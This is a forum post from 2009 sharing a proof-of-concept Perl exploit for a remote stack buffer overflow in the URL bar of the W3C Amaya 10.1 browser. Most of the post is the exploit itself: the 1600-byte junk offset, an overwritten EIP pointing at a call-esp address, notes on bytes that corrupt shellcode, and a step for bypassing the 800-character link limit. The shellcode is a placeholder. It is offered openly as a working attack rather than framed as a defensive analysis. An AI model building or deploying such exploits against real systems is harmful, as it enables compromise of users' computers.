W3C Amaya 10.1 Web Browser

Discussion in 'Web Programming' started by r0ut3r, Jan 2, 2009.

W3C Amaya 10.1 Web Browser
  1. Unread #1 - Jan 2, 2009 at 8:20 PM
  2. r0ut3r
    Joined:
    Jan 2, 2009
    Posts:
    263
    Referrals:
    0
    Sythe Gold:
    0

    r0ut3r Forum Addict
    Banned

    W3C Amaya 10.1 Web Browser

    Code:
    #            W3C Amaya 10.1 Web Browser
    #
    # Amaya (URL Bar) Remote Stack Overflow Vulnerability
    #
    # Written and discovered by: 
    # r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
    #
    # Advisory: http://www.bmgsec.com.au/advisory/40/
    # ------------------------------------------------------
    #
    # Shellcode notes: 
    # The application fails to correctly process certain bytes: 
    # 0x9c becomes 0x9cc2
    # Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb). 
    #
    # After reviewing the source code, the below function modifies the
    # shellcode:  
    # Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
    #
    # The max value which can be used is 0x1fffff <-- Thanks Luigi!
    # ------------------------------------------------------
    # 
    # The URL bar contains a buffer overflow vulnerability: 
    # buffer length: 1600 bytes
    #
    # [junk] + [eip] +     [shellcode]
    #  1600  +   4   +  sizeof(shellcode)
    #
    # ESP points to data after EIP. 
    #
    # I found it difficult to access the URL bar via HTML code. For example, compile the above code, 
    # write it to a HTML file, then load it into the browser. Attempt to click the link and
    # you will notice there is a 800 character limit on the link. 
    #
    # To bypass this problem click the link then select "Links" >> "Create or change link...". 
    # Now click "Confirm". Alternatively just copy the payload into the URL bar. 
    #
    # URL Bar Proof of concept: 
    # ----------------------------------------------------
    #!/usr/bin/perl
    
    use warnings;
    use strict;
    
    my $shellcode = 'C' x 80;
    
    # 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)
    my $data   =       '<a href="' .
                            'A' x 1600 .
                            "\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)
                            $shellcode . 
                            '">r0ut3r</a>';
    print $data;
    This is my first one, So it's not the best... Don't flame for errors.
     
< Re: W3C Amaya 10.1 Web Browser (id) Remote Stack Overflow PoC | [Habbo.au] Dice Rigger [Paypal] >

Users viewing this thread
1 guest


 
 
Adblock breaks this site